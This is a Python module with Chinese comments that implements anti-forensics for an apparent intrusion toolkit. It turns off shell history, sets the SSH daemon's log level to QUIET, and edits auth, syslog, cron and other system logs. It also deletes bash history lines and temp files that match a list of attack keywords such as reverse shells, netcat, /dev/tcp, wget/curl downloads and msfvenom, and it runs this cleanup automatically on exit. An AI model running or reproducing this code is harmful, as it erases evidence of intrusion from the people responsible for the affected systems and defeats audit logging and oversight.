#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
环境痕迹清理模块
自动清理工具运行过程中留下的各种痕迹
"""

from __future__ import print_function

import os
import re
import time
import shutil
import subprocess
from datetime import datetime, timedelta

# Python 2/3 兼容性处理
try:
    # Python 3
    def format_string(template, *args, **kwargs):
        return template.format(*args, **kwargs)
    def ensure_str(s):
        return s if isinstance(s, str) else s.decode('utf-8')
    def ensure_bytes(s):
        return s.encode('utf-8') if isinstance(s, str) else s
    def dict_items(d):
        return d.items()
    def dict_keys(d):
        return d.keys()
except ImportError:
    # Python 2
    def format_string(template, *args, **kwargs):
        return template.format(*args, **kwargs)
    def ensure_str(s):
        return s if isinstance(s, unicode) else s.decode('utf-8')
    def ensure_bytes(s):
        return s.encode('utf-8') if isinstance(s, unicode) else s
    def dict_items(d):
        return d.items()
    def dict_keys(d):
        return d.keys()


class TraceCleaner:
    """环境痕迹清理器"""
    
    def __init__(self):
        self.name = "环境痕迹清理器"
        self.description = "自动清理工具运行过程中留下的各种痕迹"
        
        # 需要清理的命令关键词
        self.suspicious_keywords = [
            'backdoor', 'exploit', 'payload', 'reverse', 'shell',
            'persistence', 'rootkit', 'malware', 'hack', 'attack',
            'penetration', 'pentest', 'metasploit', 'msfvenom',
            'nc -l', 'netcat', 'socat', '/dev/tcp', 'bash -i',
            'python -c', 'perl -e', 'ruby -e', 'php -r',
            'wget http', 'curl http', 'base64 -d', 'echo -e',
            'chmod +x', 'chown root', 'sudo su', 'su -',
            'crontab -e', 'systemctl enable', 'service start'
        ]
        
        # 日志文件路径
        self.log_files = [
            '/var/log/auth.log',
            '/var/log/secure',
            '/var/log/messages',
            '/var/log/syslog',
            '/var/log/cron',
            '/var/log/daemon.log',
            '/var/log/kern.log',
            '/var/log/user.log'
        ]
        
        # SSH配置备份
        self.ssh_config_backup = None
        self.original_history_setting = None
        
    def backup_ssh_config(self):
        """备份SSH配置"""
        try:
            ssh_config_path = '/etc/ssh/sshd_config'
            if os.path.exists(ssh_config_path):
                backup_path = format_string("{}.backup_{}", ssh_config_path, int(time.time()))
                shutil.copy2(ssh_config_path, backup_path)
                self.ssh_config_backup = backup_path
                return True
            return False
        except Exception as e:
            print(format_string("备份SSH配置失败: {}", e))
            return False
    
    def modify_ssh_log_level(self, level="QUIET"):
        """修改SSH日志级别"""
        try:
            ssh_config_path = '/etc/ssh/sshd_config'
            if not os.path.exists(ssh_config_path):
                return False
            
            # 备份原配置
            if not self.backup_ssh_config():
                return False
            
            # 读取配置文件
            with open(ssh_config_path, 'r') as f:
                content = f.read()
            
            # 修改LogLevel设置
            if re.search(r'^LogLevel\s+', content, re.MULTILINE):
                # 替换现有的LogLevel设置
                content = re.sub(r'^LogLevel\s+.*$', format_string('LogLevel {}', level), content, flags=re.MULTILINE)
            else:
                # 添加新的LogLevel设置
                content += format_string('\nLogLevel {}\n', level)
            
            # 写回配置文件
            with open(ssh_config_path, 'w') as f:
                f.write(content)
            
            # 重新加载SSH配置
            subprocess.run(['systemctl', 'reload', 'sshd'], 
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            
            return True
            
        except Exception as e:
            print(format_string("修改SSH日志级别失败: {}", e))
            return False
    
    def restore_ssh_config(self):
        """恢复SSH配置"""
        try:
            if self.ssh_config_backup and os.path.exists(self.ssh_config_backup):
                ssh_config_path = '/etc/ssh/sshd_config'
                shutil.copy2(self.ssh_config_backup, ssh_config_path)
                
                # 重新加载SSH配置
                subprocess.run(['systemctl', 'reload', 'sshd'], 
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                
                # 删除备份文件
                os.remove(self.ssh_config_backup)
                self.ssh_config_backup = None
                
                return True
            return False
        except Exception as e:
            print(format_string("恢复SSH配置失败: {}", e))
            return False
    
    def disable_history_logging(self):
        """临时禁用历史记录"""
        try:
            # 保存当前HISTFILE设置
            self.original_history_setting = os.environ.get('HISTFILE', '~/.bash_history')
            
            # 禁用历史记录
            os.environ['HISTFILE'] = '/dev/null'
            os.environ['HISTSIZE'] = '0'
            os.environ['HISTFILESIZE'] = '0'
            
            # 执行shell命令禁用历史记录
            subprocess.run(['unset', 'HISTFILE'], shell=True, 
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            subprocess.run(['set', '+o', 'history'], shell=True, 
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            
            return True
        except Exception as e:
            print(format_string("禁用历史记录失败: {}", e))
            return False
    
    def restore_history_logging(self):
        """恢复历史记录设置"""
        try:
            if self.original_history_setting:
                os.environ['HISTFILE'] = self.original_history_setting
                os.environ['HISTSIZE'] = '1000'
                os.environ['HISTFILESIZE'] = '2000'
                
                # 恢复shell历史记录设置
                subprocess.run(['set', '-o', 'history'], shell=True, 
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                
                self.original_history_setting = None
                return True
            return False
        except Exception as e:
            print(format_string("恢复历史记录设置失败: {}", e))
            return False
    
    def clean_bash_history(self, user=None):
        """清理bash历史记录"""
        try:
            if user is None:
                # 获取当前用户
                user = os.environ.get('USER', 'root')
            
            # 确定历史文件路径
            if user == 'root':
                history_file = '/root/.bash_history'
            else:
                history_file = format_string('/home/{}/.bash_history', user)
            
            if not os.path.exists(history_file):
                return True
            
            # 读取历史文件
            with open(history_file, 'r') as f:
                lines = f.readlines()
            
            # 过滤掉包含可疑关键词的行
            cleaned_lines = []
            for line in lines:
                line_lower = line.lower()
                should_remove = False
                
                for keyword in self.suspicious_keywords:
                    if keyword in line_lower:
                        should_remove = True
                        break
                
                if not should_remove:
                    cleaned_lines.append(line)
            
            # 写回清理后的历史
            with open(history_file, 'w') as f:
                f.writelines(cleaned_lines)
            
            # 清理当前会话的历史
            subprocess.run(['history', '-c'], shell=True, 
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            subprocess.run(['history', '-w'], shell=True, 
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            
            return True
            
        except Exception as e:
            print(format_string("清理bash历史失败: {}", e))
            return False
    
    def clean_system_logs(self, time_window=3600):
        """清理系统日志中的可疑条目"""
        try:
            current_time = datetime.now()
            cutoff_time = current_time - timedelta(seconds=time_window)
            
            for log_file in self.log_files:
                if not os.path.exists(log_file):
                    continue
                
                try:
                    # 读取日志文件
                    with open(log_file, 'r') as f:
                        lines = f.readlines()
                    
                    # 过滤日志行
                    cleaned_lines = []
                    for line in lines:
                        line_lower = line.lower()
                        should_remove = False
                        
                        # 检查时间戳（简单的时间过滤）
                        try:
                            # 提取时间戳（假设标准syslog格式）
                            timestamp_match = re.search(r'(\w{3}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2})', line)
                            if timestamp_match:
                                timestamp_str = timestamp_match.group(1)
                                # 简单的时间比较（这里可以更精确）
                                log_time = datetime.strptime(format_string("{} {}", current_time.year, timestamp_str), 
                                                           "%Y %b %d %H:%M:%S")
                                if log_time > cutoff_time:
                                    # 检查是否包含可疑关键词
                                    for keyword in self.suspicious_keywords:
                                        if keyword in line_lower:
                                            should_remove = True
                                            break
                        except:
                            pass
                        
                        if not should_remove:
                            cleaned_lines.append(line)
                    
                    # 写回清理后的日志
                    with open(log_file, 'w') as f:
                        f.writelines(cleaned_lines)
                        
                except PermissionError:
                    # 如果没有权限修改日志文件，跳过
                    continue
                except Exception as e:
                    print(format_string("清理日志文件 {} 失败: {}", log_file, e))
                    continue
            
            return True
            
        except Exception as e:
            print(format_string("清理系统日志失败: {}", e))
            return False
    
    def clean_cron_logs(self):
        """清理Cron相关日志"""
        try:
            cron_log_files = ['/var/log/cron', '/var/log/cron.log']
            
            for log_file in cron_log_files:
                if not os.path.exists(log_file):
                    continue
                
                try:
                    with open(log_file, 'r') as f:
                        lines = f.readlines()
                    
                    # 过滤包含可疑关键词的cron日志
                    cleaned_lines = []
                    for line in lines:
                        line_lower = line.lower()
                        should_remove = False
                        
                        for keyword in self.suspicious_keywords:
                            if keyword in line_lower:
                                should_remove = True
                                break
                        
                        if not should_remove:
                            cleaned_lines.append(line)
                    
                    with open(log_file, 'w') as f:
                        f.writelines(cleaned_lines)
                        
                except PermissionError:
                    continue
                except Exception as e:
                    print(format_string("清理Cron日志 {} 失败: {}", log_file, e))
                    continue
            
            return True
            
        except Exception as e:
            print(format_string("清理Cron日志失败: {}", e))
            return False
    
    def clean_temp_files(self):
        """清理临时文件"""
        try:
            temp_dirs = ['/tmp/', '/var/tmp/', '/dev/shm/']
            
            for temp_dir in temp_dirs:
                if not os.path.exists(temp_dir):
                    continue
                
                try:
                    for filename in os.listdir(temp_dir):
                        file_path = os.path.join(temp_dir, filename)
                        
                        # 检查文件名是否包含可疑关键词
                        filename_lower = filename.lower()
                        should_remove = False
                        
                        for keyword in self.suspicious_keywords:
                            if keyword in filename_lower:
                                should_remove = True
                                break
                        
                        if should_remove and os.path.isfile(file_path):
                            try:
                                os.remove(file_path)
                            except:
                                pass
                                
                except PermissionError:
                    continue
                except Exception as e:
                    print(format_string("清理临时目录 {} 失败: {}", temp_dir, e))
                    continue
            
            return True
            
        except Exception as e:
            print(format_string("清理临时文件失败: {}", e))
            return False
    
    def setup_log_redirection(self, cron_command):
        """为Cron命令设置日志重定向"""
        try:
            # 将输出重定向到系统日志
            if '>>' not in cron_command and '2>&1' not in cron_command:
                # 重定向到系统日志文件
                redirected_command = format_string("{} >> /var/log/messages 2>&1", cron_command)
                return redirected_command
            
            return cron_command
            
        except Exception as e:
            print(format_string("设置日志重定向失败: {}", e))
            return cron_command
    
    def perform_full_cleanup(self, time_window=3600):
        """执行完整的痕迹清理"""
        results = {
            'bash_history_cleaned': False,
            'system_logs_cleaned': False,
            'cron_logs_cleaned': False,
            'temp_files_cleaned': False,
            'ssh_config_modified': False
        }
        
        try:
            # 清理bash历史
            results['bash_history_cleaned'] = self.clean_bash_history()
            
            # 清理系统日志
            results['system_logs_cleaned'] = self.clean_system_logs(time_window)
            
            # 清理Cron日志
            results['cron_logs_cleaned'] = self.clean_cron_logs()
            
            # 清理临时文件
            results['temp_files_cleaned'] = self.clean_temp_files()
            
            # 修改SSH配置（如果需要）
            results['ssh_config_modified'] = self.modify_ssh_log_level("QUIET")
            
            return results
            
        except Exception as e:
            print(format_string("执行完整清理失败: {}", e))
            return results


class StealthModeManager:
    """隐蔽模式管理器"""
    
    def __init__(self):
        self.name = "隐蔽模式管理器"
        self.description = "管理工具的隐蔽运行模式"
        self.trace_cleaner = TraceCleaner()
        self.stealth_active = False
        
    def enter_stealth_mode(self):
        """进入隐蔽模式"""
        try:
            if self.stealth_active:
                return True
            
            # 禁用历史记录
            if self.trace_cleaner.disable_history_logging():
                print("✓ 已禁用历史记录")
            
            # 修改SSH日志级别
            if self.trace_cleaner.modify_ssh_log_level("QUIET"):
                print("✓ 已降低SSH日志级别")
            
            self.stealth_active = True
            print("✓ 已进入隐蔽模式")
            return True
            
        except Exception as e:
            print(format_string("进入隐蔽模式失败: {}", e))
            return False
    
    def exit_stealth_mode(self, cleanup=True):
        """退出隐蔽模式"""
        try:
            if not self.stealth_active:
                return True
            
            if cleanup:
                # 执行痕迹清理
                results = self.trace_cleaner.perform_full_cleanup()
                print("✓ 已执行痕迹清理")
                
                # 显示清理结果
                for action, success in dict_items(results):
                    status = "✓" if success else "✗"
                    print(format_string("  {} {}", status, action))
            
            # 恢复SSH配置
            if self.trace_cleaner.restore_ssh_config():
                print("✓ 已恢复SSH配置")
            
            # 恢复历史记录设置
            if self.trace_cleaner.restore_history_logging():
                print("✓ 已恢复历史记录设置")
            
            self.stealth_active = False
            print("✓ 已退出隐蔽模式")
            return True
            
        except Exception as e:
            print(format_string("退出隐蔽模式失败: {}", e))
            return False
    
    def is_stealth_active(self):
        """检查是否处于隐蔽模式"""
        return self.stealth_active


# 全局实例
trace_cleaner = TraceCleaner()
stealth_manager = StealthModeManager()


def auto_clean_traces(time_window=3600, full_cleanup=True):
    """
    自动清理痕迹的主函数
    
    Args:
        time_window (int): 清理时间窗口（秒）
        full_cleanup (bool): 是否执行完整清理
    
    Returns:
        dict: 清理结果
    """
    try:
        result = {
            'success': True,
            'cleaned_items': [],
            'errors': [],
            'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        }
        
        # 执行完整清理
        if full_cleanup:
            cleanup_result = trace_cleaner.perform_full_cleanup(time_window)
            result['cleaned_items'].extend(cleanup_result.get('cleaned_items', []))
            if not cleanup_result.get('success', True):
                result['errors'].extend(cleanup_result.get('errors', []))
        
        # 清理临时文件
        try:
            trace_cleaner.clean_temp_files()
            result['cleaned_items'].append('临时文件清理')
        except Exception as e:
            result['errors'].append(f"临时文件清理失败: {str(e)}")
        
        # 清理系统日志
        try:
            trace_cleaner.clean_system_logs(time_window)
            result['cleaned_items'].append('系统日志清理')
        except Exception as e:
            result['errors'].append(f"系统日志清理失败: {str(e)}")
        
        # 清理bash历史
        try:
            trace_cleaner.clean_bash_history()
            result['cleaned_items'].append('命令历史清理')
        except Exception as e:
            result['errors'].append(f"命令历史清理失败: {str(e)}")
        
        # 如果有错误，标记为部分成功
        if result['errors']:
            result['success'] = len(result['errors']) < len(result['cleaned_items'])
        
        return result
        
    except Exception as e:
        return {
            'success': False,
            'cleaned_items': [],
            'errors': [f"自动清理失败: {str(e)}"],
            'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        }


def auto_cleanup_on_exit():
    """程序退出时自动清理"""
    if stealth_manager.is_stealth_active():
        stealth_manager.exit_stealth_mode(cleanup=True)


# 注册退出清理函数
import atexit



atexit.register(auto_cleanup_on_exit)


if __name__ == "__main__":
    # 测试代码
    print("=== 环境痕迹清理器测试 ===")
    
    cleaner = TraceCleaner()
    manager = StealthModeManager()
    
    # 测试进入隐蔽模式
    print("\n1. 测试进入隐蔽模式:")
    manager.enter_stealth_mode()
    
    # 模拟一些操作
    print("\n2. 模拟执行一些操作...")
    time.sleep(2)
    
    # 测试退出隐蔽模式和清理
    print("\n3. 测试退出隐蔽模式和清理:")
    manager.exit_stealth_mode(cleanup=True)